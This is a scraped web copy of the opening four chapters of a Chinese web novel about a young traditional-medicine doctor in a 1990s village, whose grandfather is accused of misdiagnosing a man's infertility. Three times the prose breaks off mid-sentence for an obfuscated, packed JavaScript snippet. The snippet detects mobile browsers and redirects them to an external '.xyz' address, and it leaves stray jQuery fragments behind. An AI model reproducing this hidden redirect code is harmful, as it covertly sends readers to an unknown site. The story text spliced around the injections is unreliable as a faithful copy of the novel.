《在中医馆吃瓜看戏[九零]》 1. 第 1 章 “刘大哥讲话理太偏,谁说女子享清闲?男子打仗到边关,女子纺织在家园……” 用了好几年的收音机“滋滋啦啦”地响着噪音,围坐在院子里的人却不在意,大家的注意力都在常香玉大师那一首铿锵有力的戏曲上,年长的姑婶们还能跟着唱上两句。 今年的盛夏似乎要比往年燥热得多,这还没到晌午,一个个就热得出了汗。 谁家那还在穿开裆裤的小子也没比谁凉快,院子里扬起的灰全都粘在了他的屁股上,门头上那块“悬壶济世”的老旧牌匾,也似乎被晒得多了几条干裂的印子。 沈万山是十里八乡为数不多的老中医,他家的门堂经常要接待来看病的村民,院子里的中药味也是连年不散。 入了夏之后,天干物燥容易吃坏东西,来找他把脉开药的人就更多了。 两年前,乡里集资扩建了卫生所,用的是最先进的西药,还聘了两名医科大学的大学生。不过村民们还是更愿意来沈家让老爷子给把把脉,因为除了表面的伤病之外,他还能发现一些还没发作的病灶。 “下一位。” 听到一个稍显柔弱的女人声音从堂里传出来,姑婶们手里的蒲扇几乎是同时顿了一下。 这些年常听沈万山念叨自己年龄大了,想退下来享享清福,还说要让自己的孙女继承他的衣钵,众人都当他是说笑。 七十岁哪里大了?正是能拼能干的好时候! 沈万山一向注重养生,七十岁的年龄看起来跟六十出头差不多,前些天还见他抄起扫帚撵着偷吃药的老黄狗追出二里地,跑得比村里的小伙都快。 老吗?别瞎说好吧,他的精神头年年都这么好,哪里老了? 所以乡亲们怎么也没想到,他会真的退下来。 攥着手里那张手写的号码纸,罗英子有些犹豫,直到她身旁的罗婶子摆出一副“来都来了”的表情,这才一齐掀开了外堂的门帘。 比起外面,屋里倒是凉快不少,头顶的吊扇吱扭扭地转个不停,吹出来的风甚至还有些凉。 那张老榆木的桌子摆在堂中几十年,贴墙放着的中药柜更是历史悠久,碾槽、药杵、舂筒,听说都是沈太公那辈传下来的。 放眼看去,整间房都散发着悠久的历史气息,唯有坐在桌子前穿着宽大白汗衫、深蓝大裤衩的妙龄少女,显得与这里尤为格格不入。 “英子姐,你咋来了?” 见到来人是村里熟悉的好姐姐,沈妙下意识想凑过去,像平常那样挽着她的手说两句家常话,“婶子也来啦,快坐快坐。” 结果还没起身,一旁那根一米长的戒尺就落在了她的手臂上。 啪! “让你来坐诊看病,谁让你拉家常了。”躺在摇椅上听戏的沈万山都不用坐直,只是稍稍侧目就足够严肃了。 “办正事。” 沈妙“哦”了一声后,快速搓了搓泛红的手臂,重新坐好。 这才刚开诊不到一小时,她就挨了七八下了,还好从小挨打挨得多,早就打皮实了,没一会的功夫红肿就散去了大半。 端坐在椅子上,沈妙清了清嗓子,一本正经道:“英子姐,你是哪里不舒服吗?” “我那事儿这次特别疼,而且还有小的黑血块,我……”虽然同是女人,又是经常来往的好姐妹,可提起身体上的不适,罗英子还是会有些难为情。 沈妙把脉枕放在她跟前,“来,我帮你把把脉。” 把手指搭在她手腕上,跳动的脉搏对普通人来说或许是一本看不懂的无字书,但对于沈妙来说更像是一副连环画,把罗英子过去一段时间的经历一条条、一件件地全部叙述了出来。 “最近没少吃冰棍吧。” “就一根,还是上周吃的。” “嗯?你确定?” “好吧,三根,前天也吃了一根。” “还是橘子味,村东头小卖部的那家。” 听到她说得这么详细,一旁的罗婶子惊讶地眼珠子都快掉下来了:“我的娘哎,这都能给号出来啊?” “我猜的,英子姐就爱吃橘子味的冰棍。”沈妙淡淡地解释道。 罗婶子:…… 继续感受着脉搏,沈妙又倏地皱起了眉:“又跟赵老孬拌嘴吵架了?” “对,谁让他说我嫁不出去,那天晚上我把他好一通骂!” “这事儿你咋不喊上我啊?我去帮……” 啪! 话还没说完,戒尺又落在了和刚才相同的位置上。 “嘶……” 这次可比刚才疼多了,疼得她身体都不禁颤了一下。 从摇椅上坐起来,沈万山将手里的戒尺举得高高的,作势还要在她手掌心再来一下:“看病就看病,你说人家私事干啥?可显着你了。” 不得不说,沈妙在学医上的天赋极佳。 或许是儿子晚婚晚育生下了聪明妮,也可能是祖宗担心儿子不学医断了祖传的手艺,从沈妙刚能记事起,就表现出了极高的中医天赋。 三岁时能分辨出不同的药材,五岁开始学习望闻问切,七岁已经可以自己配一副药方,到了十岁更是可以闭着眼准确找到全身的穴位。 唯独就一点不好,就是好奇心太重,这可不是身为医者该有的素养。 “错了错了,我不说了。”沈妙揉了揉手臂,赶紧向爷爷认错。 拿起一旁的圆珠笔和切好的纸,沈妙一边写着几样药材,一边学着沈万山平常老态龙钟的语气说道:“咳咳,你这是肝郁气滞为本,寒凝血瘀为标,形成‘气滞寒凝,瘀阻冲任’之症状,按照这服药吃两天就好了。” 将写好的药方递给爷爷,沈妙又补充道:“当然,目前的症状不严重,不吃药也可以,多喝红糖水,多休息、少生气也能有所缓解。” 沈万山满意地点点头,只瞧了一眼就把药方放回到桌子上。 是药三分毒,并不是所有的大病小痛都必须要开药,应该给病人提供更多适合她的选择。 “咱抓药不?”罗英子向一旁的母亲问道。 “抓,”罗婶子一边说一边从布袋里摸出几张钱,抽出一张一块的纸币放在药单上,“也没几个钱,早点吃药身子好得快,省得瞎折腾。” 沈家的医馆开了这么多年,从来不是为了赚钱,价钱低到让乡亲们觉得他们是在贴钱给人看病。 比起去乡里的卫生所开点头孢、抗生素,动辄花个十来块,一两块就能把病治好的中药又有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647300|172754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么理由不吃呢? 沈妙起身走向那两排中药柜,即使不用对照单子也能准确地打开抽屉,然后从里面抓出一把药材放在桌子上的那摞牛皮纸上。 干草三钱、生姜三钱、去心麦冬四钱…… 这是沈妙从小帮忙抓药训练出来的,不需要用那杆铜秤,她只需要将药材拿在手里稍微掂量一番,就是分毫不差地份量。 “姓沈的呢?!” 砰!砰砰! 放着川芎的盒子在高处,沈妙刚要踮起脚尖去拿,就被外面那一声刺耳的叫嚷和打砸声吓了一跳。 院子里来了三四个粗犷的大汉,或是抄着锄头、或是扛着铁锨,模样凶极了,几个人刚进门就把用来挡门的小木桌给踢倒了。 走在前头的是个抱着孩子的中年女人,表情斗鸡似的,好像是谁欠了她万八千来讨债的。 隔着门帘,沈妙看不清她的脸,反正肯定不是清河村的人。 站在院子中央,扫了一圈房檐下坐着那一排来看病的人,女人的声音不禁又高了个八度:“姓沈的老东西呢?给我滚出来!” 嚯,来找茬的? 听到那女人的怒气十足的叫喊,还有凶神恶煞的男人们,沈妙有些怯,可沈万山倒是不慌不忙地从摇椅上站起身,放下手里的戒尺后,双手背在身后从容地从堂里走了出来。 他行医五十年,向来是行得端、坐得正,不多收人家一分钱,更没有诊错一次病,所以自然是没什么可怕的。 外面的日头更毒了,从屋里出来时沈万山不禁眯了眯眼,用手遮着阳,疑惑地打量了她一番:“找我有啥事?” “啥事?你坑了我家的钱,还问我啥事?!”女人一开口,又有不少唾沫星子飞了出来。 说来也怪,她的叫骂声十分刺耳,怀里的孩子倒是睡得香甜。 想来是每天都要听到这样聒噪的声音,所以习惯了吧。 一提到“坑”这个字,沈万山一下子就急了:“我啥时候坑你家钱了?可不敢瞎胡说。” “嫩是哪个村的?俺咋没见过嫩?” “沈叔一家都是老实人,你凭啥这么说?” “就是,别以为仗着嫩人多就有理了,现在可是法治社会,凡事都讲证据!” 院子里有不少人都是清河村本村的,一大半都是沈万山看着长大,被沈万山治过病的,怎么可能冷眼瞧着他被人泼脏水,纷纷开口替他抱不平。 “咦咦咦,他是你们亲爹亲祖宗?这么帮着他说话?” 面对众人的质疑,女人丝毫不带怵的,将怀里的孩子又抱高了几分:“证据?俺孙子就是证据,证明他沈万山就是个坑蒙拐骗,胡球缺人的老鳖孙!” 瞧女人越走越近、越骂越凶,沈妙担心她会对爷爷动手,赶紧挡在了前面,“婶儿,你说清楚,你家孙子干我们家啥事?我爷爷咋就成骗你家钱了?” “你问你爷,他是不是说过俺孩不能生?还给他开了一堆中药让他天天喝!” 哦,原来是儿子不孕症。 可是不对啊?爷爷真要是治好了她儿子的不孕症,那可是好事一桩。 让她抱上了白胖的大孙子,应该上门好好感谢才对,咋还恩将仇报说他骗钱呢? 2. 第 2 章 沈万山治过的不孕症太多了,光看个还没满岁的孩子,实在猜不出孩子他爹姓甚名谁,于是便又问道:“你孩叫啥名?啥时候来我这儿看的,记得不?” “姓陈,陈富贵,去年年初来的。” 沈万山拍了拍沈妙的肩膀,吩咐她道:“去内屋里把去年的病历找出来。” 沈家给人看病,药方向来是一式两份,同时还会简单地记录下病历和脉案,用于给后辈传授经验。 这是从老一辈就传下来的规矩,所以不止是能找到去年的病历,岁数比沈妙还要大的病历都能找出好几本。 沈妙点头应了一声,随即回到屋里,将去年的那几摞厚厚的病历从柜子里抱了出来。 每天来沈家看病的人都不少,一个月就能记满一册半指厚的簿子。 陈富贵,年初。 根据那女人说的话,沈妙将头四个月的病历单独拿出来,一页一页地对照着上面记录的人名。 这可不是样轻松事儿。 沈万山医术了得,文化水平却不高,病历上的字大多写得歪歪扭扭,不会写的字还会用符号代替,不同的符号又代表着不同的意思:圆圈是第一声、三角是第二声、方块是第三声、叉叉是第四声。 富贵这两个字沈万山多半不会写,所以会用两个叉叉代替。 当沈妙在屋里翻找着病历的时候,抱着孩子的陈婆子嘴巴也没闲着,一个劲儿地跟院子里等着看病的乡亲们倒苦水,试图把人情和道理全都拉到自己这边。 “俺孩没啥文化,只能去城里打工赚点辛苦钱,你们说说,去城里给人家搬砖、铲水泥能赚几个钱?” “想着都是乡里乡亲的,回来看病多少能省个钱,结果他可倒好,说俺孩不能生,开了乱七八糟一堆药,让俺孩天天喝,每个礼拜光药钱都得花好几块。” “过完年俺孩又出去打工,没时间熬药喝药,结果嘞?哎!一下就生了个大孙子!” 虽说院子里坐着的姑婶们比不得青天大老爷,可耳根子也是历经过几十年的磨练,没那么容易被她说动,更何况她说得这些,也没听出有什么不妥。 “有病了开药吃药,吃完药病自然就好了。” “对啊,要不是吃了沈叔的药,说不定嫩孩还好不了呢。” 见她们没明白自己的意思,陈婆子又继续道:“啥呀,有病的就不是俺孩,是他媳妇的肚子有毛病,进门五年蛋都不下一个!” “那你这孙……喔~” 听陈婆子这么一说,众人脸上顿然一副“原来如此”的表情。 所以是陈富贵的媳妇不能生,陈富贵去城里打工的时候,和别的女人生了个孩子…… 原本院子里的气氛还剑拔弩张的,一听到这些事,一双双搭在身前的手都下意识想伸进口袋里摸一把瓜子,听她把细节也交代个清楚。 “那他带着孩子回家,你儿媳妇能愿意?” “当然不愿意啊,早两个月就扯离婚证了。”提起自己的前儿媳妇,陈婆子的脸上满是厌恶,“自己生不出来前两天还好意思回俺家来搬缝纫机,说是她的嫁妆必须得搬走,呸!” 陈婆子声情并茂地把当天的事描述了一遍,女方家是怎么上门跟他们拉扯,拉扯不过又嚷嚷着陈富贵身体有病耽误了她好几年,闹得邻居们都来看他家笑话。 也正是出了这档子事,陈婆子才跑来清河村找上门要个说法。 “不是你给她瞎胡说俺孩生不出来,她能闹这么一出?你咋不说她是个不下蛋的鸡啊!”转过头看向沈万山,陈婆子的音调又提高了几分。 “我知道,嫩和徐凤是一个村的,所以向着她,给俺孩泼脏水,你承认不承认!” 虽然忘了具体的情况,但沈万山还是替自己解释道:“不可能,我跟嫩孩无冤无仇,我没事冤枉他干啥?没算是一个村的,在这事儿上我也没必要缺人啊。” “你再等会,等找到当时的病历,把事情弄清楚再说也不迟。” 沈妙在屋里找了二十多分钟,终于找到了那张写着“陈叉叉”的病历。 “爷,我找到了!” 不怪她找了这么久,是陈婆子记错了时间。 陈富贵来看病的时间不是去年年初,而是前年年底,去年年初也来了一次,不过是陈富贵陪着她前儿媳妇徐凤来看的,所以只写了她的名字。 病历在柜子里放了一年多,边缘都有些泛黄,深蓝的笔迹也有些褪色。 上面的符号圈圈叉叉地写了一堆,沈妙只认得最上面的那个“天”字,还有下面几个熟悉的药材名。 等等,这不是用来治疗男不育症的啊? 沈妙将病历单子交到爷爷手上,沈万山对照着病历看了几个来回,勉强将那段模糊的记忆拼凑了起来。 “哦……我想起来了,陈富贵,”沈万山将手里的病历掸了掸,淡淡地说道,“你儿子是天阉。” “天什么?” 陈婆子不懂这些医学术语,但猜到那不是什么好词,“你再说一遍,啥意思?” 沈万山将病历拿到她面前,一字一句地指着自己写的圈圈和叉叉,解释道:“天阉,就是生不出孩子。” 随后,他又把徐凤的病历拿来对照,“你看,你儿媳妇是正常的,就是有点女人病,这些药都是治她的女人病的。” “放你娘的屁!” 陈婆子怀里的孩子睡了许久,这会终于有了动静,听到奶奶的叫骂声,“哇哇哇”地跟着哭个不停。 陈婆子一边轻拍孩子的后背哄着,一边寻求着那排“青天大老爷”们的支持,“大家伙儿都瞧瞧,我抱得是啥?俺孩要是生不出来,我抱得是你祖宗啊?你就是个庸医!” 陈婆子朝身后的那些男人们使了个眼色,他们当即心领神会地点点头,然后挥舞着锄头和铁锹,敲打着院子里的药材架子。 沈妙:“别砸了!话还没说清楚呢,别砸啊!!!” 那些药都是沈妙上山摘的,每一棵都是她的心血,可不能被这群莽汉给毁了。 一个箭步上前,沈妙将沈万山手里的病历单子拿过来,指着上面的诊断高声强调道:“你儿子没功能,你媳妇没问题,这孩子又是城里那个女人生下来的,你怎么能保证这是你的亲孙子?又有什么证据说我们是误诊!” 去你…… 陈婆子的话都到嘴边了,却又被沈妙那坚定的目光给挡了回去。 沈妙的话把她给问住了。 是啊,她怎么能确定这孩子就是自己的亲孙子呢? 这孩子是从城里带回来的,可不是她亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647301|172754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自看着从那女人的肚子里出来的,所以她并没有十成十的把握。 不止是她,当那些打砸的大汉们嗅到了有瓜的气息后,也不禁停止了手上的动作,静等着事态的发展。 见陈婆子沉默,沈万山不禁叹了一口气。 原本病人的病情是不该透露的,不过既然事情都闹到这个份儿上了,只能把事情说清楚。 “天阉,又叫五不男,指的是天、漏、犍、怯、变。天是指发育畸形;漏是指把不住精|关;犍就是古代常说的太监;怯是硬不起来;变就是咱们说的不男不女、阴阳人。” “你儿子陈富贵是漏,就是把不住,但又不止是把不住,是他那里头啊,没东西。” 沈万山一边说一边捏着右手的五指,试图用形象的方式跟她解释,“不止是女人得有东西,男人也得有东西,母鸡下得蛋为啥孵不出小鸡?就是里面没东西,你儿子就是缺了那样东西。” “那这能治得好吗?”看热闹的婶子小声嘀咕了一句。 “治不好,”沈万山耿直地向她解释,“天阉注定一辈子无儿无女,不管中医西医都治不好。” 另一个婶子跟着撇撇嘴:“那你还给人家开药,不怪人家上门来找你。” “天地良心,我开这药可不是治他的天阉,是治他的脏病。” 沈万山急了,连忙把病历拿给她们看,也不管她们能不能看得懂自己写的字:“看清楚,这上面的药跟天阉没关系,土茯苓、金银花、大黄……这些都是排毒,用来治脏病的。” 脏……病? 她们好像又知道了什么了不得的事,眼神里的情绪也变得更加意味深长。 孩子从哪来的还没弄清楚呢,又冒出来了脏病? 啧啧啧,这传说中的陈富贵到底还有什么惊喜是她们不知道的? “放你娘的,娘的……” 陈婆子有些站不稳了,那个“屁”字半天都没能放出来。 还好有身后的男人及时扶着,这才没踉跄地摔在地上。 “你们说话可要过脑子,现在可讲法,要是造谣,你们全家都得拉去蹲监狱!”男人试图替陈婆子挽回些颜面,不过说话的底气明显比她刚才差了一大截。 “你们还知道讲法啊?” 看着地上那些被糟蹋的草药,沈妙严重怀疑他自己都不知道自己说了些什么,纯粹是强撑着面子不肯承认事实罢了。 沈妙:“要是觉得我们骗人,就把陈富贵拉来对质,实在不行就去大医院检查,真要是我们误诊了,所有费用都由我们出。可要真是陈富贵的问题……那你们今天来闹事,也得给个说法。” 沈妙这边说完了,院子里那些迫不及待想要吃瓜的眼睛,齐刷刷地落在了陈婆子身上,等着她的回答,那藏不住的情绪都在催促着她把人叫来对质。 陈富贵真要来了,不管是谁对谁错,都绝对会是一出好戏! 最好是把他前妻一家子也找来,还有他从城里带回来的媳妇,唱戏的人……哦不,是当事人,当事人越多才能把事情掰扯清楚嘛。 看着陈婆子抱在孩子身上的手不像来时那么紧了,除了急切地证明爷爷的清白之外,沈妙也想分一口瓜来吃。 她是真想见见,这传说中的天阉之人到底是什么样啊? 3. 第 3 章 比陈富贵来得更早的,是沈家人和清河村的村民。 听说有人来砸自家老爹的场子,村长沈山生带着人就从地里赶回来了,儿媳王冬梅也领着村里一众能言善战的妇女加入到这场战斗。 管她陈婆子是哪座村的话事人,进了清河村,就得把头给低下来。 “你是清平村,陈有才家的?” 沈山生认出了陈婆子,瞧着院子里这一地的狼藉,眉头又紧皱了几分:“俺爹到底哪点对不住你?这青天白日的,非得带着人来砸场子?” 王冬梅还以为是哪来的无赖,一看是打着几个邻里弯认识的熟人,也及时收住了快要叫骂出来的怒气,“她婶儿,都是乡里乡亲的,有啥事不能好好说啊。” 瞧着乌泱泱从院外涌进来的一伙人,陈婆子嘴唇微翕,半天说不出一个囫囵字儿。 她不仅是偷鸡不成蚀把米,还被主人家逮了个正着。 沈万山虽是一介不富不贵的土医生,但他儿子沈山生可是清河村的村长,听说现任乡长一直很看重他,弄不好再过几年乡长退了休,他的位置就姓沈了。 儿媳妇王冬梅看着和善,却也不是个任人揉捏的软柿子,连任了整整二十年的三八红旗手,在市里妇联都是能说得上话的。 环顾着这群来为老爷子出头的面孔,陈婆子的腿脚更软了。 若是没看到沈妙找出的病历,她倒是能继续无赖地嚷着沈万山是骗钱的庸医,可现在……儿子是天阉又有脏病的事儿,让她怎么开这个口啊! “爹,陈婆子说爷爷是断错了病。” 陈婆子开不了口,沈妙替她说。 不仅要说,还要大大方方、一五一十地说:“爷爷去年给他儿子开了治脏病的药,她非说爷爷是骗他家的钱。还说爷爷污蔑他儿子不能生,是身体里没有那玩意儿的天阉,说爷爷偏袒同村的人,她儿媳妇进门几年都生不出,城里来的倒是给她带回个大胖孙子,你说这不稀罕了嘛。” 二十出头的沈妙人如其名,是个瞧着就水灵灵的妙人儿,一双水汪汪的大眼睛一骨碌更是活泼又机灵。 可这一张小嘴儿却跟淬了毒似的,字字不带脏,但字字要人命。 听着是在风轻云淡地叙说着刚才发生的事,其实字里行间都是在讽刺陈婆子是个缺心眼。 那句话怎么说来着?她是狗咬吕洞宾,不识爷爷的好人心。 沈妙这话一出,那些看热闹的人纷纷掩嘴偷笑,生怕自己的声音扰了这凝重的气氛。 这不明摆着嘛,儿子生不出又有脏病,当娘的还把儿子带回来的绿帽子当成了宝…… 不得不说,这后浪就是比前浪强,她们这些人开口多半是屎尿屁,哪能想到这么骂人不带脏字的话啊。 “是这样啊……” 沈山生听懂是听懂了,却没品出这其中的八卦,于是耿直地建议道:“这事儿简单,把你这儿子媳妇都给叫来,看看她是咋说不就行了嘛,要是她不说,那咱就去市里的医院叫大医生给查查。” “好,好!” 陈婆子是个不到黄河心不死的性子,今天她还非得当着这么多人的面把事情弄清楚不可:“我这就给富贵打电话,把他们俩全都叫来!” 就算是她搞错了,沈万山开的药并不是治儿子的不育症,是给儿子治脏病,他也一定是误诊了,因为她怀里抱着的就是她们老陈家的血脉,一定是,一定是! 她的儿子就是身体脏了,脑子可干净得很呢! 趁着陈婆子去村头打电话的功夫,有好事的人把她的前儿媳妇徐凤也给叫来了,想着毕竟是两口子之间的事,徐凤多少也能当个人证。 折腾了一个多小时,传说中的陈富贵终于骑着车把她的新媳妇给带来了。 看到院子里里三层外三层地围了不少人,陈富贵都愣了,他本以为陈婆子说今天来找沈万山算账是气话,没想到真的带上亲戚来砸场子了。 远远打量着陈富贵和他新媳妇的外貌,沈妙理所当然地点了点头。 嗯,确实挺“富贵”的,要是手里没赚点钱,怎么能娶得上这么漂亮的新老婆? 个子比他高,长得比他齐整,这么一朵娇媚的玫瑰花之所以插在牛粪上,肯定是被他的“富贵”给征服了。 “娘,你咋还真来了?” “姓沈的说你生不出来,还说你有脏病,到底咋回事?!” “我,我去年确实身体不太舒服,可吃了药都好了啊。” “那说你是天什么阉,说你生不出,你咋没跟我说!” “那这绝对是断错了,我咋会生不出啊?娘,孙子您都抱上了,我生不生得出,你还不知道?” “瞧瞧!瞧瞧!我儿子生得出来!” 有儿子来给自己撑腰,陈婆子的腰板再次挺得笔直,声音也比刚才高了一个八度:“姓沈的,这下我可没冤枉你们吧,说说,这事儿准备咋办?” “娘,这事儿就算了吧。” 陈富贵扯着她的袖子,想让她息事宁人,“沈叔他给我开的药确实管用,这不孕不育的事他估摸着也是不擅长,谁还没犯错的时候啊?” 沈万山摆摆手,拒绝了他调停的好意:“小陈,不用你说情。” 随后,他双手往身后一背,铿锵有力地撂下了一句话:“要交代是吧,走!上医院,做检查!” 他对自己的医术十分有信心,他不敢保证自己能诊出所有的疑难杂症,可但凡是能写在病历上的字,那绝对是他可以肯定的。 陈富贵,他就是五不男,是天阉。 他没错! 老爷子都发话了,沈山生自然是站在自己亲爹这边,“好,那咱一齐去,把能做的检查都做一遍,绝对得把事情弄清楚,决不冤了谁。” “等着,我这就上家里去拿钱,”王冬梅也跟着帮腔道。 “不过咱得提前说好,如果俺爹的诊断没错,花了多少钱都得你们掏。” 陈婆子:“好!掏就掏!” 都要收拾准备出发去医院了,一直抱着孩子的陈家媳妇忽然开了口。 “别,别去了……” “为啥不去?”陈富贵不解道。 怯怯地往后退了几步,陈家媳妇扫视着周围那些为了她怀里孩子,气得脸红脖子粗的人们,小声地嘟囔道:“小顺,他,他不是你的孩子。” “啥?”陈富贵怔了片刻,随后不可思议地歪着头朝她走近了几步,“你刚才说啥?” “小顺不是你的孩子。” 当陈家媳妇说出这句话的时候,对陈家母子俩而言,无疑是一颗重磅的蘑菇弹将他们所有的底气都抹杀的一干二净。 而对一旁的吃瓜群众而言,这颗悬在半空的西瓜终于落地了,瓜皮碎裂的瞬间,丰盈的果汁、鲜爽的口感……嗯,总算是不负众望,没让大家白白空等一场! 陈家的这位新媳妇是城里的“楼凤”,陈富贵是她之前接待过的客人之一。 她也不知道肚子里的孩子是谁,所以便试着广撒网看看有谁愿意当那条鱼,很明显,陈富贵上钩了。 在她告诉自己怀孕的同时,陈富贵也有那么一瞬间的怀疑,但见女人当时说得信誓旦旦,算算时间,他确实每天都有光顾她的生意,又想着沈万山开给他的药或许不仅能治脏病,还也能治他的不育症,便认下了她肚子里的孩子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647302|172754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可既然是天阉,老天爷又怎么会反悔呢? 于是就…… “好啊你!你个马蚤娘儿们!老子平日待你不薄,你竟然给老子戴这么大一顶绿帽子!看老子今天不打死你!” “姓陈的你活该生不出孩子!报应,这就是报应!你个畜生,生了也得是个烂屁|眼的货!” “我的命咋就这么苦,生出这么个不争气的混小子啊!哎呦我的老天爷哎,你还叫我咋活啊?干脆一个雷劈死我算了!” 真相水落石出的同时,整个院子都乱成了一锅粥。 陈富贵把现老婆按在地上一顿打,前老婆趁机也冲他发泄着这些年的苦闷,担心闹出人命,围观的男人们都赶忙上去拉架,只留陈婆子独自瘫坐在地上痛哭,顺带抱着她那没血缘且同样嗷嗷大哭的大孙子。 女人被陈富贵打得不轻,夏天本就穿得单薄,浑身上下都是抓伤、蹭破的血道道,徐凤在打他的时候没站稳,不小心也把脚给崴了。 陈富贵受的伤最重,不知道是她们俩谁踢了他一脚,疼得他蜷缩在地上直打滚。 不过没关系,反正他留着也没用,又毒又没枪子儿,踢坏了拉倒。 “好了!都给我住手!” 最后,还是沈山生一声严厉的呵斥,才叫停了这一场闹剧。 看着院子里扬起的灰尘,还有受伤的几人,他皱着眉把几人给分开,“有什么事都回到自家再说,在我们院子里闹算怎么回事?这儿是医馆,不是戏台子!” “啊……啊……我的命,命咋就这么苦,苦啊……” 沈山生这么一发话,没人再敢造次胡闹,只剩止不住哭声的陈婆子和她怀里的孩子,哇哇地流着眼泪。 “妙妙,”为了减轻院子里的火药味,沈万山朝沈妙使了个眼色,“把她们俩带去屋里擦点药。” “哎。” 沈妙应了一声,带着陈富贵的两任老婆进了堂里。 拿来一瓶酒精和一瓶跌打酒,沈妙用棉球轻轻擦拭着女人在不停流血的手臂,同时把跌打酒交给徐凤让她自己处理。 虽然崴伤了脚,但能出一口气,对徐凤来说也是值当的:“报应,这就是陈富贵的报应!他陈家就该断子绝孙!” 看得出来,徐凤是真的恨陈富贵,所以哪怕离了婚,再次看到他也会勾起她心里的那口气。 沈妙尽力克制着心里的好奇,可不停抽噎的女人却又用一句话勾起了她的兴趣。 “确实,他陈富贵就是个腌臜禽兽!” 看着被打的浑身是伤的女人,徐凤的眼神里有对她职业的嫌弃,却并没有什么恨意。 即使是她破坏了自己的婚姻,可话说回来,也是她间接地帮自己脱离了苦海。 用跌打酒按摩着脚踝,徐凤试探地问了一句:“他是不是也……那样对你了?” 四目相对,目光碰撞的那一刻,女人似乎明白了她的意思。 “你是说……” “嗯。” 女人点点头:“对,一开始我以为他是憋得太久了,没想到我当时怀了孕他也……生完孩子后更是……” 或许是觉得沈妙才二十出头还没结婚,年龄还小的她不该了解这些话题,所以女人说得很隐晦。 徐凤不住地点头附和,“可不是,这王八蛋就是改不了贱毛病。明知道自己不行还非得来,除了弄我一身恶心的口水,还能干啥?” 听着她们俩心有灵犀的加密通话,沈妙像是一只掉进瓜田里却又找不到瓜的猹,急得团团转,好几次都差点忍不住开口。 我的好姐姐,大家都是成年人,有什么瓜大胆放出来听听呗~ 4. 第 4 章 都说家丑不可外扬,这下可好,陈婆子带着人在沈家的医馆又吵又闹的,弄得整个清河村都知道陈家的儿子得了脏病,头上还戴着一顶绿帽子的事儿了。 不过,这场闹剧最大的受害者并不是陈富贵,而是院子里来看病的乡亲们。 白白等了大半天没瞧上病,倒是被这接二连三的瓜给喂饱了。临走时,每个人的脸上都是一副又愁又拧的复杂表情。 愁的是,万一明天看病,她们又来捣乱了咋办? 拧的是,可要是她们不来了,这顶绿帽子将来该何去何从,他们可就不知道了。 唉,真是怕她们再来,又怕她们不来…… 不止是围观的吃瓜群众好奇,沈妙也想知道这瓜的后续会有什么发展。 “爷,陈富贵找那啥的事儿你早就知道了啊?”将院子里晒的药材都收回来后,沈妙好奇地对沈万山问道。 翻看着沈妙今天开的几张药单和病历,沈万山只淡声地“嗯”了一声。 沈妙撇撇嘴,“这么大的事儿,也没见你提过。” 沈万山皱着眉瞧她一眼,还没开口,别在身后的戒尺就先一步扬了起来:“你这妮儿真是该打。” 还好沈妙躲得快,才没被戒尺给打到。 “咱是给人家看病的,你管人家的家事呢?” 沈妙解释道:“可徐凤姐是好人啊,要是你早跟她说,她不就能早点离婚嘛。” 合上手里的病历簿,沈万山只是翻了个白眼:“你个黄花大闺女,懂个屁。” 又是这句话,每次沈万山不想她多打听就用这句话噎她,好像男女之间的那些事儿,非得等她结了婚才能知道似的。 沈妙也不再多问,而是回去继续收拾着院子里的草药,等到把药材全都收进屋里,又把各个房间的窗户都关好,这才给大门挂了锁和沈万山一起回家。 沈家的医馆用的是家里祖传的那两间老房子,早几年前,他们一家就全部搬进村里刚盖的新平房,不过,两处离得不远,走几分钟就到了。 沈万山和沈妙回到家时,王冬梅正在摆碗筷,桌子上是一碟丝瓜炒肉、一碟番茄炒鸡蛋还有一碗拍黄瓜,打开锅盖时,一股浓郁的米香瞬间在院子里蔓延开来。 “回来的正好,吃饭吧。” 自从进了八月份,白天就燥热得很,不过等入了夜后温度还是会降下来。 把屋里的电视挪到门口,坐在院子里一边看一边吃,可比吹着风扇要舒服得多。 “老陈家那事是咋处理的?”饭桌上,王冬梅给沈山生夹了一筷子菜,随口问道。 沈山生叹了一口气,“离呗,还能咋办。” 身为村长,上午陈家来闹场的事是他帮忙调停的,也是他下午带着陈婆子一群人回了家。 听他说,陈婆子一回家就央着村长给开证明,把家里关于她和孩子的东西全部丢了出去,还给那女人的娘家打电话说了要离婚的事。 但那女人的娘家听语气也不是个善茬,在电话里就吵吵起来了,估摸着以后还有后续的事要闹。 恶有恶报,这也是陈富贵自己的报应。 “哦对,”沈山生从口袋里拿出两张十块钱,交给了沈万山,“爹,这是陈家赔的药材钱,陈婆子给了二十,你看够不?不够我赶明再去要。” 